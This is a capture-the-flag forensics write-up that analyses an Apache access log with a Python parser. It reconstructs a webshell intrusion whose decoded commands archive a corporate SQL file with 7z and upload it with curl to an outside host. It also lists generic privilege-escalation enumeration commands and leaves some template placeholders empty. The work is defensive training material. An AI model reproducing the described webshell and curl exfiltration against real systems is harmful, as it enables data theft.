Не пойман — не медоед
Не пойман — не медоед
Platform: Avitoctf | Category: Forensics | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-07-22 | Status: Solved Techniques: log_anomaly_analysis, base64_command_decoding, timezone_correlation, file_magic_validation, password_recovery
Summary
Task: An Apache access log records a noisy intrusion and the theft of a corporate accounting export. Solution: Isolate Base64 webshell commands, correlate UTC timestamps with an exfiltration index, verify ZIP magic, and extract the SQL file.
Recon
Port scan
bash read-only • copy allowednmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
avitoctf| ID:20260722_avitoctf_ne_poyman_ne_medoyed - Tags: webshell, data_exfiltration, powershell, encrypted_zip, apache_access_log
- Indicators: only 22 requests contain query strings, four successful cmd requests share a unique legacy MSIE user-agent, exfiltration index timestamps differ from HTTP Last-Modified by three hours, a misleading extension contains ZIP magic
- Source:
20260722_avitoctf_ne_poyman_ne_medoyed.md
Foothold
Vulnerability / Misconfiguration
- log_anomaly_analysis
- base64_command_decoding
- timezone_correlation
- file_magic_validation
- password_recovery
bash read-only • copy allowed<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
bash read-only • copy allowedsudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
bash read-only • copy allowed<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- log_anomaly_analysis
- base64_command_decoding
- timezone_correlation
- file_magic_validation
- password_recovery
- Tags: webshell, data_exfiltration, powershell, encrypted_zip, apache_access_log
Original Writeup
<details><summary>Click to expand original content</summary>Description
At dawn the hive server's bee-accounting database disappeared. Honey badgers were blamed, but were asleep. The med-team preserved access.log. Analyze ordinary traffic, reconstruct the real intruder's actions, recover the stolen database, and identify the secret in corporate accounting.
The supplied Apache access log contains ordinary browsing, monitoring, and scanner noise. The objective is to reconstruct the real compromise, recover the exfiltrated accounting data, and locate its secret.
Analysis
Finding the anomalous requests
The log has SHA-256 fb09545f74edb3605aed3854f5cc1104911b7b14b4f18bf4d0e4479850ae3af0. All 56,873 lines parse as Apache Combined Log Format records, and their timestamps are UTC.
Instead of following the numerous scanner-like paths, I grouped requests by method, status, path, source, user-agent, and query key. Only 22 requests had query strings. Four stood out:
| Log line | Source | Path | Status |
|---|---|---|---|
| 26016 | 185.193.88.77 | /aspnet_client/system_web/healthcheck.aspx?cmd=... | 200 |
| 26118 | 185.193.88.77 | /aspnet_client/system_web/healthcheck.aspx?cmd=... | 200 |
| 26262 | 185.193.88.77 | /aspnet_client/system_web/healthcheck.aspx?cmd=... | 200 |
| 26313 | 185.193.88.77 | /aspnet_client/system_web/healthcheck.aspx?cmd=... | 200 |
These were also the only four requests using the legacy user-agent Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0). Their successful responses and Base64-looking cmd values made them much stronger evidence than the bulk scanning traffic.
The following script reproduces the parsing and command extraction:
python read-only • copy allowed#!/usr/bin/env python3 import base64 import collections import re from pathlib import Path from urllib.parse import parse_qs, urlsplit log_path = Path("honeyleak_access.log") pattern = re.compile( r'^(\S+) \S+ \S+ \[([^]]+)] "(\S+) (.*?) (HTTP/[^\"]+)" ' r'(\d{3}) (\S+) "([^\"]*)" "([^\"]*)"$' ) rows = [] for line_no, line in enumerate(log_path.read_text(encoding="ascii").splitlines(), 1): match = pattern.match(line) if not match: raise ValueError(f"Malformed line {line_no}") ip, timestamp, method, target, protocol, status, size, referer, agent = match.groups() url = urlsplit(target) rows.append((line_no, ip, timestamp, method, url, int(status), agent)) print("records:", len(rows)) print("query requests:", sum(bool(row[4].query) for row in rows)) print("query keys:", collections.Counter( key for row in rows for key in parse_qs(row[4].query) )) for line_no, ip, timestamp, method, url, status, agent in rows: params = parse_qs(url.query) if url.path.endswith("/healthcheck.aspx") and "cmd" in params: command = base64.b64decode(params["cmd"][0]).decode() print(line_no, timestamp, ip, status, agent) print(command)
Reconstructing the attack
Decoded in chronological order, the four commands did the following:
- Ran
whoami,hostname, and an IPv4 address check. - Used
7z.exeto create a password-protected ZIP archive inC:\Windows\Temp. The source wasC:\inetpub\wwwroot\App_Data\corp_finance_2026_07_03.sql, and the command exposed the passwordS7m!vQ2@rK9Lp4X_2026. - Uploaded the timestamped archive with
curl.exe -Ftohttp://178.154.230.44/upload.php. - Requested the exfiltration host's index and searched it for
blob_.
This proves command execution through a Base64-command webshell. It also disproves SQL injection and the hypothesis that the database itself was split across query parameters.
Solution
Correlating the uploaded object
The upload occurred at approximately 18:42 UTC. The authorized exfiltration index held more than 1,340 decoy objects, so choosing a file by extension or a visually similar time was unreliable.
The important discrepancy was timezone presentation: index timestamps were UTC+3, whereas the access log was UTC. HTTP Last-Modified headers remained GMT. For example, a tempting object displayed at 18:42 had Last-Modified: 15:42 GMT and contained random bytes. Therefore, the 18:42 UTC upload had to appear near 21:42 in the index.
That correction identified blob_3po654ppbr.log. Its .log extension was intentionally misleading. Before downloading the 12 MB object, I checked only its first 16 bytes:
bash read-only • copy allowedcurl --range 0-15 --output prefix.bin http://178.154.230.44/blob_3po654ppbr.log xxd prefix.bin
The response began with PK 03 04, the local-file-header signature of a ZIP archive. This cheap magic check rejected decoys without trusting filenames.
Extracting the accounting export
After the magic check, I downloaded and verified the complete object:
bash read-only • copy allowedcurl --output blob_3po654ppbr.log http://178.154.230.44/blob_3po654ppbr.log shasum -a 256 blob_3po654ppbr.log 7z x -p'S7m!vQ2@rK9Lp4X_2026' -orecovered blob_3po654ppbr.log shasum -a 256 recovered/corp_finance_2026_07_03.sql recovered/encrypted_database.dat
The archive hash was 1fa6077f2976b0398b0bae70ee89e06fba5748a5f2c87735bcb65b16759fd070. Extraction produced:
corp_finance_2026_07_03.sql— SHA-2567e6ec7d07ffe976889aecfa8dff4d286a4b7fbde65ed5ba20509af10379f6175encrypted_database.dat— SHA-256de4c8b0ec8c601743fa53b34549e16acab2439fdc7c36aba6c50fd9df2122408
Searching the SQL export was sufficient:
bash read-only • copy allowedrg -n "secrets|incident_flag" recovered/corp_finance_2026_07_03.sql
Line 19 inserted the incident_flag value into the secrets table. The second encrypted file did not need to be decrypted because the required value was already present in the recovered export.
Pitfalls
- SQL injection tooling in the background traffic was noise; the successful path was a command webshell.
- The query parameters held commands, not chunks of database content.
- Guessed organizer mirror names returned 404 and did not reproduce the actual randomized upload name.
- Selecting the displayed 18:42 entry without correcting UTC to UTC+3 selected random data.
- A nearby
.tmpentry completed at 21:49 was also a decoy; both timestamp correlation and ZIP magic were required.
signed by XESXOR